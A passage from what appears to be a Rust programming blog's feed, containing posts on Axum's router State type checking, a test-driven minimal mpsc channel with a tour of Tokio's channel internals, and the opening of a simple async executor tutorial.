invoke__">new</span>(state).<span class="title function_ invoke__">route</span>(<span class="string">&quot;index&quot;</span>, <span class="title function_ invoke__">get</span>(index));</span><br></pre></td></tr></table></figure><p>Axum, however, supports this approach:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">let</span> <span class="variable">route</span> = Route::<span class="title function_ invoke__">new</span>()</span><br><span class="line">    .<span class="title function_ invoke__">route</span>(<span class="string">&quot;1&quot;</span>, <span class="title function_ invoke__">get</span>(index1))</span><br><span class="line">    .<span class="title function_ invoke__">with_state</span>(s1)</span><br><span class="line">    .<span class="title function_ invoke__">route</span>(<span class="string">&quot;2&quot;</span>, <span class="title function_ invoke__">get</span>(index2))</span><br><span class="line">    .<span class="title function_ invoke__">route</span>(<span class="string">&quot;2&quot;</span>, <span class="title function_ invoke__">post</span>(index2))</span><br><span class="line">    .<span class="title function_ invoke__">with_state</span>(s2)</span><br><span class="line">    .<span class="title function_ invoke__">route</span>(<span class="string">&quot;3&quot;</span>, <span class="title function_ invoke__">post</span>(index3))</span><br><span class="line">    .<span class="title function_ invoke__">with_state</span>(s3)</span><br></pre></td></tr></table></figure><p>Axum can chain different Handlers and States in this way. How is this implemented?</p><p>Router’s <code>new</code> method places no direct constraint on <code>S</code>; in other words, <code>S</code> here can be understood as <code>Any</code>. When the route method is called, the Handler implementation may impose a constraint on S (or it may not). When with_state is called, the type of S is determined. At that point:</p><ol><li>It checks whether this S satisfies the preceding constraints.</li><li>It resets the generic S to S2 (that is, it clears the association and the constraints).</li></ol><p>Finally, when the router is used, into_make_service is called and Router is constrained to implement Service. Both implementations are for <code>Router&lt;()&gt;</code>, meaning that <strong>S can be ()</strong>.</p><p>Consider the following cases:</p><ol><li>A previously registered handler constrains S, but there is no <code>with_state</code>: S is constrained (and no reasonable person would write this constraint as (), because that would be meaningless), so S cannot be (). Therefore, forgetting to attach state or attaching the wrong state causes compilation to fail.</li><li>A previously registered handler does not constrain S, and there is no <code>with_state</code>: S has no constraints, so it can be (). Compilation therefore succeeds even without calling with_state.</li><li>A previously registered handler constrains S, and <code>with_state</code> is called last: with_state clears the constraint on S, so S can be () and compilation succeeds.</li><li>Chained calls as in the previous example: every <code>with_state</code> clears the preceding constraints, and a subsequent <code>.route</code> adds constraints again. As long as the final operation is <code>with_state</code>, or the final series of <code>.route</code> calls does not constrain S, S can be () and compilation succeeds.</li></ol><p>Through this trick, Axum provides static State checking while also allowing State to be omitted when it is not used.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;Author: &lt;a href=&quot;https://github.com/suikammd&quot;&gt;suikammd&lt;/a&gt; &lt;a href=&quot;https://github.com/ihciah&quot;&gt;ihciah&lt;/a&gt;&lt;br&gt;An HTTP Server contains many internal components: protocol implementation (h1, h2, compression, and so on), connection state management (keepalive), request dispatching, middleware, business logic, and more. Users could implement all of these themselves, but everything other than the business logic is a fairly general capability. Decoupling these general capabilities from the user’s business logic gives us an HTTP framework.&lt;/p&gt;
&lt;p&gt;Because hyper already provides a fairly complete HTTP protocol implementation in the Rust ecosystem, building an HTTP framework on hyper only requires providing capabilities such as routing, shared state, and middleware.&lt;/p&gt;
&lt;p&gt;From the perspective of HTTP framework design, this article uses the new version of Axum as an example to analyze how an HTTP framework in Rust can provide sound abstractions and type constraints. Rust’s powerful type system allows us to write efficient and correct code.&lt;/p&gt;</summary>
    
    
    
    
    <category term="rust" scheme="https://suikammd.github.io/tags/rust/"/>
    
  </entry>
  
  <entry>
    <title>Implementing a Simple Channel and Exploring Tokio&#39;s Channel Implementation</title>
    <link href="https://suikammd.github.io/2021/11/20/rust-simple-channel/"/>
    <id>https://suikammd.github.io/2021/11/20/rust-simple-channel/</id>
    <published>2021-11-20T08:12:23.000Z</published>
    <updated>2026-11-19T12:58:15.311Z</updated>
    
    <content type="html"><![CDATA[<p>The core data structure for concurrent programming in Golang is the channel. Its central idea is to share memory by communicating rather than communicate by sharing memory. Channels are indeed useful and avoid the need to write various complex communication primitives directly. Rust naturally has corresponding implementations as well, and Tokio’s channel implementation is extremely clever and well worth studying. This article briefly introduces the basic concepts of channels, then implements a minimal mpsc unbuffered channel, and finally examines Tokio’s channel implementation.</p><h1 id="Minimal-Rust-Channel-Implementation"><a href="#Minimal-Rust-Channel-Implementation" class="headerlink" title="Minimal Rust Channel Implementation"></a>Minimal Rust Channel Implementation</h1><p>This section implements a minimal channel. This channel has an unlimited buffer, allows multiple writers, and never blocks writes to the channel. However, if the channel is empty, consumers attempting to consume data from it will be blocked. In other words, this is an mpsc unbuffered channel. This section refers to <a href="https://time.geekbang.org/column/article/445814">Chen Tian: Rust Programming First Course, Lesson 35</a>. Chen Tian’s lesson is highly accessible and uses TDD to complete the entire channel design step by step, starting with interface test cases. I will take the same approach here, using TDD and aligning with the standard library’s mspc interface.</p><span id="more"></span><h2 id="Channel-Features-and-Implementation"><a href="#Channel-Features-and-Implementation" class="headerlink" title="Channel Features and Implementation"></a>Channel Features and Implementation</h2><p>I expect to implement the following features:</p><ol><li>The sender produces data, and the receiver consumes it.</li><li>Multiple senders are allowed.</li><li>The channel is empty.</li><li>All senders exit.</li><li>The receiver exits.</li></ol><h3 id="The-Sender-Produces-Data-and-the-Receiver-Consumes-It"><a href="#The-Sender-Produces-Data-and-the-Receiver-Consumes-It" class="headerlink" title="The Sender Produces Data, and the Receiver Consumes It"></a>The Sender Produces Data, and the Receiver Consumes It</h3><p>Again using TDD, I will first consider the features I need, assume they have already been implemented, and write the corresponding tests.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[test]</span></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">test_chanel_basic</span>() &#123;</span><br><span class="line">  <span class="keyword">let</span> (<span class="keyword">mut</span> s, <span class="keyword">mut</span> r) = <span class="title function_ invoke__">unbounded</span>();</span><br><span class="line">  s.<span class="title function_ invoke__">send</span>(<span class="number">1</span>).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">  <span class="built_in">assert_eq!</span>(r.<span class="title function_ invoke__">recv</span>().<span class="title function_ invoke__">unwrap</span>(), <span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Calling unbounded creates a channel and returns the corresponding sender and receiver. The sender sends data with send, and the receiver receives data with recv. Why is unwrap needed? When the receiver is dropped or all senders are dropped, the corresponding send and receive operations need to return an Error.</p><p>For simplicity, I can use VecDeque directly. Since both the sender and receiver need to modify this buffer, it needs a lock. Since it must be shared between threads, the sender and receiver need to hold Shared through Arc.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Shared</span>&lt;T&gt; &#123;</span><br><span class="line">    inner: Mutex&lt;VecDeque&lt;T&gt;&gt;,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Sender</span>&lt;T&gt; &#123;</span><br><span class="line">    inner: Arc&lt;Shared&lt;T&gt;&gt;,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">Receiver</span>&lt;T&gt; &#123;</span><br><span class="line">    inner: Arc&lt;Shared&lt;T&gt;&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="Allowing-Multiple-Senders"><a href="#Allowing-Multiple-Senders" class="headerlink" title="Allowing Multiple Senders"></a>Allowing Multiple Senders</h3><p>Calling unbounded provides only one sender. Supporting multiple senders means that Sender needs to implement Clone.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[test]</span></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">test_clone</span>() &#123;</span><br><span class="line">  <span class="keyword">let</span> (<span class="keyword">mut</span> s, <span class="keyword">mut</span> r) = <span class="title function_ invoke__">unbounded</span>();</span><br><span class="line">  <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">s1</span> = s.<span class="title function_ invoke__">clone</span>();</span><br><span class="line">  <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">s2</span> = s.<span class="title function_ invoke__">clone</span>();</span><br><span class="line">  s.<span class="title function_ invoke__">send</span>(<span class="number">1</span>).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">  s1.<span class="title function_ invoke__">send</span>(<span class="number">2</span>).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">  s2.<span class="title function_ invoke__">send</span>(<span class="number">3</span>).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">  </span><br><span class="line">  <span class="built_in">assert_eq!</span>(<span class="number">1</span>, r.<span class="title function_ invoke__">recv</span>().<span class="title function_ invoke__">unwrap</span>());</span><br><span class="line">  <span class="built_in">assert_eq!</span>(<span class="number">2</span>, r.<span class="title function_ invoke__">recv</span>().<span class="title function_ invoke__">unwrap</span>());</span><br><span class="line">  <span class="built_in">assert_eq!</span>(<span class="number">3</span>, r.<span class="title function_ invoke__">recv</span>().<span class="title function_ invoke__">unwrap</span>());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="The-Channel-Is-Empty"><a href="#The-Channel-Is-Empty" class="headerlink" title="The Channel Is Empty"></a>The Channel Is Empty</h3><p>When the channel is empty, consumers need to be blocked. How, then, should a consumer be awakened? With Condvar! Condvar can block the current thread and wake it when an event occurs. This waiting consumes no additional CPU. Condvar’s wait takes a MutexGuard as its argument. It releases the lock while waiting and reacquires it when notify or notify_all is called, so users need not worry about the lock. This is quite interesting, and the implementation would be worth studying in detail later.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Shared</span>&lt;T&gt; &#123;</span><br><span class="line">    inner: Mutex&lt;VecDeque&lt;T&gt;&gt;,</span><br><span class="line">    available: Condvar,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>How should the test be written? I can have the receiver consume continuously. After it finishes one batch of data, the sender waits for a short period before sending another batch, and the receiver can then continue consuming. Because there is only one receiver, implementing Iterator for it is very useful.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[test]</span></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">test_receiver_block</span>() &#123;</span><br><span class="line">    <span class="keyword">let</span> (<span class="keyword">mut</span> s, <span class="keyword">mut</span> r) = <span class="title function_ invoke__">unbounded</span>();</span><br><span class="line">    </span><br><span class="line">    thread::<span class="title function_ invoke__">spawn</span>(<span class="keyword">move</span> || &#123;</span><br><span class="line">      <span class="title function_ invoke__">for</span> (idx, i) <span class="keyword">in</span> r.<span class="title function_ invoke__">into_iter</span>().<span class="title function_ invoke__">enumerate</span>() &#123;</span><br><span class="line">        <span class="built_in">assert_eq!</span>(idx, i)</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> <span class="variable">i</span> <span class="keyword">in</span> <span class="number">0</span>..<span class="number">100usize</span> &#123;</span><br><span class="line">      s.<span class="title function_ invoke__">send</span>(i).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    thread::<span class="title function_ invoke__">sleep</span>(Duration::<span class="title function_ invoke__">from_millis</span>(<span class="number">1</span>));</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> <span class="variable">i</span> <span class="keyword">in</span> <span class="number">100</span>..<span class="number">200usize</span> &#123;</span><br><span class="line">      s.<span class="title function_ invoke__">send</span>(i).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="All-Senders-Exit"><a href="#All-Senders-Exit" class="headerlink" title="All Senders Exit"></a>All Senders Exit</h3><p>When all senders have exited, the receiver’s recv needs to return an error. A simple approach is to store the number of senders. When a new sender is created or cloned, increment the count by 1; when a sender is dropped, decrement it by 1. I therefore need to implement a custom Drop method for Sender and notify any waiting receiver to exit when the sender count reaches 0. Below is the final structure. Although it is not especially efficient, it is a working version for ordinary thread-level shared channels.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Shared</span>&lt;T&gt; &#123;</span><br><span class="line">    inner: Mutex&lt;VecDeque&lt;T&gt;&gt;,</span><br><span class="line">    available: Condvar,</span><br><span class="line">    sender_cnt: AtomicUsize,</span><br><span class="line">    receiver_cnt: AtomicUsize,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>The test can be written as follows.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[test]</span></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">test_no_send</span>() &#123;</span><br><span class="line">    <span class="keyword">let</span> (s, r) = <span class="title function_ invoke__">unbounded</span>();</span><br><span class="line">    <span class="title function_ invoke__">drop</span>(s);</span><br><span class="line">    <span class="built_in">assert!</span>(r.<span class="title function_ invoke__">recv</span>().<span class="title function_ invoke__">is_err</span>());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h3 id="The-Receiver-Exits"><a href="#The-Receiver-Exits" class="headerlink" title="The Receiver Exits"></a>The Receiver Exits</h3><p>As above, when the receiver exits, its receiver_cnt needs to be decreased by -1. When a sender calls send and finds that all receivers have exited, it also needs to return an error. The test is as follows.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[test]</span></span><br><span class="line"><span class="keyword">fn</span> <span class="title function_">test_no_receiver</span>() &#123;</span><br><span class="line">    <span class="keyword">let</span> (s, _) = <span class="title function_ invoke__">unbounded</span>();</span><br><span class="line">    <span class="built_in">assert!</span>(s.<span class="title function_ invoke__">send</span>().<span class="title function_ invoke__">is_err</span>());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>For more details, see Chen Tian’s Geektime course. I can also extend this idea: to build a rough mpsc bounded channel, I only need to add one more condvar. One condvar indicates that the buffer contains data to read, while the other indicates that data can be written. However, condvar operates at too coarse a granularity. I could use a semaphore instead: a sender wanting to send data would need to acquire a permit before sending, or else wait.</p><h1 id="An-Introduction-to-Tokio’s-Channel-Implementation"><a href="#An-Introduction-to-Tokio’s-Channel-Implementation" class="headerlink" title="An Introduction to Tokio’s Channel Implementation"></a>An Introduction to Tokio’s Channel Implementation</h1><p>The channel described above is only a toy channel. Production environments impose much higher performance requirements on channels.</p><h2 id="Underlying-Data-Structure"><a href="#Underlying-Data-Structure" class="headerlink" title="Underlying Data Structure"></a>Underlying Data Structure</h2><p>Tokio’s channel implementation is extremely clever. The channel is backed by a linked list, and each element in the list is called a block. Each block can hold multiple channel elements. When reading data, the channel reads from the head of the list. Once a block has been fully read, it is reset and moved to the tail of the list, saving memory-allocation overhead. When writing data, the channel writes from the tail of the list. If the current block does not have enough capacity, it allocates a new block or uses a reset block. The overall structure is shown below. The code contains many details worth studying.</p><p><img src="https://i.imgur.com/yf90RXv.png" alt="tokio-channel-implemantation"></p><h2 id="Unbounded-Channel"><a href="#Unbounded-Channel" class="headerlink" title="Unbounded Channel"></a>Unbounded Channel</h2><p><img src="https://i.imgur.com/P5hmu2h.png" alt="tokio-channel-waker"></p><h3 id="Writing-Data"><a href="#Writing-Data" class="headerlink" title="Writing Data"></a>Writing Data</h3><p>For a sender to write data to the channel, it essentially operates on the underlying data structure. It mainly finds the appropriate position in the block currently available for writing and writes the data there. After the data is written, if a receiver is waiting to read data, its waker is used to wake that receiver.</p><ul><li><p>Sender implements Clone, and all these senders can be safely transferred to other threads. If data is sent concurrently, is a lock needed?</p><p>The answer is no. Each sender only needs to know where it should write. In other words, the next write position is shared through tail_position, a variable of type AtomiUsize, and each write only needs fetch_add + 1.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/// List queue transmit handle.</span></span><br><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">crate</span>) <span class="keyword">struct</span> <span class="title class_">Tx</span>&lt;T&gt; &#123;</span><br><span class="line">    <span class="comment">/// Tail in the `Block` mpmc list.</span></span><br><span class="line">    block_tail: AtomicPtr&lt;Block&lt;T&gt;&gt;,</span><br><span class="line"></span><br><span class="line">    <span class="comment">/// Position to push the next message. This references a block and offset</span></span><br><span class="line">    <span class="comment">/// into the block.</span></span><br><span class="line">    tail_position: AtomicUsize,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li><li><p>Waking the receiver</p><p>When a receiver cannot obtain data, it registers a waker with the underlying channel. When data is available to read, this waker wakes the receiver that registered it.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_ invoke__">pub</span>(<span class="keyword">crate</span>) <span class="keyword">struct</span> <span class="title class_">AtomicWaker</span> &#123;</span><br><span class="line">    state: AtomicUsize,</span><br><span class="line">    waker: UnsafeCell&lt;<span class="type">Option</span>&lt;Waker&gt;&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></li></ul><h3 id="Reading-Data"><a href="#Reading-Data" class="headerlink" title="Reading Data"></a>Reading Data</h3><p>The receiver attempts to read data from the channel. If it can read data, it exits; otherwise, it registers its waker with the channel.</p><h2 id="Bounded-Channel"><a href="#Bounded-Channel" class="headerlink" title="Bounded Channel"></a>Bounded Channel</h2><p>Compared with an unbounded channel, writes to a bounded channel may also block. Here I need to focus on how a sender is awakened when writing becomes possible and how a receiver is awakened when reading becomes possible. The logic for waking a receiver is broadly the same as for an unbounded channel, so I will skip it for now. How is a sender blocked? Briefly, this is done with a semaphore. A sender wanting to send data must acquire a permit that allows it to send; otherwise, it can only block. Compared with an unbounded channel, after a bounded receiver consumes data, it must also add a permit and wake a sender in the waitlist that is waiting to write data. This is only a broad overview of the implementation; I have not explored it deeply and will add more when I have time.</p><h1 id="Summary"><a href="#Summary" class="headerlink" title="Summary"></a>Summary</h1><p>This article briefly introduced how to implement a simple channel based on VecDeque. This channel operates at the thread level and uses a coarse-grained lock, so its performance is quite poor. Tokio’s channel implementation offers many valuable ideas, and its code is well worth studying closely.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;The core data structure for concurrent programming in Golang is the channel. Its central idea is to share memory by communicating rather than communicate by sharing memory. Channels are indeed useful and avoid the need to write various complex communication primitives directly. Rust naturally has corresponding implementations as well, and Tokio’s channel implementation is extremely clever and well worth studying. This article briefly introduces the basic concepts of channels, then implements a minimal mpsc unbuffered channel, and finally examines Tokio’s channel implementation.&lt;/p&gt;
&lt;h1 id=&quot;Minimal-Rust-Channel-Implementation&quot;&gt;&lt;a href=&quot;#Minimal-Rust-Channel-Implementation&quot; class=&quot;headerlink&quot; title=&quot;Minimal Rust Channel Implementation&quot;&gt;&lt;/a&gt;Minimal Rust Channel Implementation&lt;/h1&gt;&lt;p&gt;This section implements a minimal channel. This channel has an unlimited buffer, allows multiple writers, and never blocks writes to the channel. However, if the channel is empty, consumers attempting to consume data from it will be blocked. In other words, this is an mpsc unbuffered channel. This section refers to &lt;a href=&quot;https://time.geekbang.org/column/article/445814&quot;&gt;Chen Tian: Rust Programming First Course, Lesson 35&lt;/a&gt;. Chen Tian’s lesson is highly accessible and uses TDD to complete the entire channel design step by step, starting with interface test cases. I will take the same approach here, using TDD and aligning with the standard library’s mspc interface.&lt;/p&gt;</summary>
    
    
    
    
    <category term="rust" scheme="https://suikammd.github.io/tags/rust/"/>
    
  </entry>
  
  <entry>
    <title>Implementing a Simple Rust Executor</title>
    <link href="https://suikammd.github.io/2021/09/28/simple-executor/"/>
    <id>https://suikammd.github.io/2021/09/28/simple-executor/</id>
    <published>2021-09-28T13:35:33.000Z</published>
    <updated>2026-11-19T12:58:15.311Z</updated>
    
    <content type="html"><![CDATA[<p>Most of this article is based on <a href="https://rust-lang.github.io/async-book/01_getting_started/01_chapter.html">aysnc-book</a> and explains how to implement a simple executor. The project is available at <a href="https://github.com/suikammd/simple-executor">simple-executor</a>.</p><p>Asynchronous programming in Rust involves three important concepts: Future, executor, and reactor. When an executor polls a Future, it passes a waker to the Future. The reactor then waits for the events involved in the Future and, when an event completes, uses this waker to wake the executor so that it can continue executing the Future.</p><h1 id="Future"><a href="#Future" class="headerlink" title="Future"></a>Future</h1><p>The core of asynchronous programming in Rust is the <code>Future</code> trait. The Future trait has an associated type, Output, which is the result returned when the Future completes. The executor polls the Future step by step until it completes.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">trait</span> <span class="title class_">Future</span> &#123;</span><br><span class="line">    <span class="meta">#[stable(feature = <span class="string">&quot;futures_api&quot;</span>, since = <span class="string">&quot;1.36.0&quot;</span>)]</span></span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Output</span>;</span><br><span class="line"></span><br><span class="line">    <span class="meta">#[lang = <span class="string">&quot;poll&quot;</span>]</span></span><br><span class="line">    <span class="meta">#[stable(feature = <span class="string">&quot;futures_api&quot;</span>, since = <span class="string">&quot;1.36.0&quot;</span>)]</span></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll</span>(<span class="keyword">self</span>: Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;, cx: &amp;<span class="keyword">mut</span> Context&lt;<span class="symbol">&#x27;_</span>&gt;) <span class="punctuation">-&gt;</span> Poll&lt;<span class="keyword">Self</span>::Output&gt;;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>When a Future is submitted to the executor, the executor polls it. If it returns <code>Poll::Ready(Result)</code>, the Future is finished. If it returns <code>Poll::Pending</code>, the Future needs to be submitted to the executor again the next time it can be polled. This is done by calling Waker’s wake method.</p><span id="more"></span><h2 id="What-is-a-Waker"><a href="#What-is-a-Waker" class="headerlink" title="What is a Waker?"></a>What is a Waker?</h2><p>When a task is ready to run, the Waker is responsible for waking the task and submitting it to the executor, such as by using Waker’s wake or wake_by_ref methods. The difference is that wake consumes ownership of the waker.</p><h2 id="Implementing-a-TimerFuture"><a href="#Implementing-a-TimerFuture" class="headerlink" title="Implementing a TimerFuture"></a>Implementing a TimerFuture</h2><h3 id="Defining-TimerFuture"><a href="#Defining-TimerFuture" class="headerlink" title="Defining TimerFuture"></a>Defining TimerFuture</h3><p>Below, we implement a simple TimerFuture. For simplicity, when Timer is initialized, we spawn a thread. After sleeping for the specified duration, it submits the Timer to the executor again. Therefore, we need a state to indicate whether sleeping has finished, and we also need to store a Waker to resubmit the Timer after sleeping ends. The definition is as follows:</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">TimerFuture</span> &#123;</span><br><span class="line">  completed: <span class="type">bool</span>,</span><br><span class="line">  waker: <span class="type">Option</span>&lt;Waker&gt;,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Since we need another thread to modify TimerFuture’s completed state and use the waker to resubmit the Future to the executor upon completion, we can encapsulate these two fields together.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">Inner</span> &#123;</span><br><span class="line">  completed: <span class="type">bool</span>,</span><br><span class="line">  waker: <span class="type">Option</span>&lt;Waker&gt;,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">TimerFuture</span> &#123;</span><br><span class="line">  inner: Inner</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Because we need to share and modify the fields across threads, we also need to wrap them in Arc and Mutex.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">pub</span> <span class="keyword">struct</span> <span class="title class_">TimerFuture</span> &#123;</span><br><span class="line">  inner: Arc&lt;Mutex&lt;Inner&gt;&gt;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>At this point, we have defined a simple TimerFuture struct. Next, we need to implement the Future trait for TimerFuture.</p><h3 id="Implementing-the-Future-trait"><a href="#Implementing-the-Future-trait" class="headerlink" title="Implementing the Future trait"></a>Implementing the Future trait</h3><p>We do not need TimerFuture to produce any result, so we can simply set the associated type Output to the unit type <code>()</code>. When polling, we check completed’s state. If it is true, we return <code>Poll::Ready(())</code>; otherwise, we return Pending and copy the context’s waker to TimerFuture’s waker, so that the waker can wake this task when sleeping ends.</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">impl</span> <span class="title class_">Future</span> <span class="keyword">for</span> <span class="title class_">TimerFuture</span> &#123;</span><br><span class="line">    <span class="keyword">type</span> <span class="title class_">Output</span> = ();</span><br><span class="line"></span><br><span class="line">    <span class="keyword">fn</span> <span class="title function_">poll</span>(</span><br><span class="line">        <span class="keyword">self</span>: std::pin::Pin&lt;&amp;<span class="keyword">mut</span> <span class="keyword">Self</span>&gt;,</span><br><span class="line">        cx: &amp;<span class="keyword">mut</span> std::task::Context&lt;<span class="symbol">&#x27;_</span>&gt;,</span><br><span class="line">    ) <span class="punctuation">-&gt;</span> std::task::Poll&lt;<span class="keyword">Self</span>::Output&gt; &#123;</span><br><span class="line">        <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">shared_state</span> = <span class="keyword">self</span>.inner.shared_state.<span class="title function_ invoke__">lock</span>().<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line">        <span class="keyword">if</span> shared_state.completed &#123;</span><br><span class="line">            Poll::<span class="title function_ invoke__">Ready</span>(())</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            shared_state.waker = <span class="title function_ invoke__">Some</span>(cx.<span class="title function_ invoke__">waker</span>().<span class="title function_ invoke__">clone</span>());</span><br><span class="line">            Poll::Pending</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="executor"><a href="#executor" class="headerlink" title="executor"></a>executor</h1><p>Rust Futures are lazy and can be driven by awaiting them in async functions. So who executes Futures? The answer is the Future executor. The executor polls a Future when progress can be made (for example, when a socket has data to read or is writable). Initially, the executor polls the Future once; subsequently, when the Future can make progress, the wake method submits it to the executor again.</p><p>Here, we can first abstract a spawner to handle the initial Future submission. Since a Future itself does not know how to submit itself to the executor, we can encapsulate the Future and its means of interacting with the executor in a Task struct. Instead of submitting a Future directly, we submit a Task. How do we interact with the executor? Again, for simplicity, we use a channel. The spawner holds a reference to the channel’s sending end, and each Task also holds a reference to the channel’s sending end.</p><p>At this point, what the executor does becomes obvious: it holds the channel’s receiving end and continually consumes Tasks 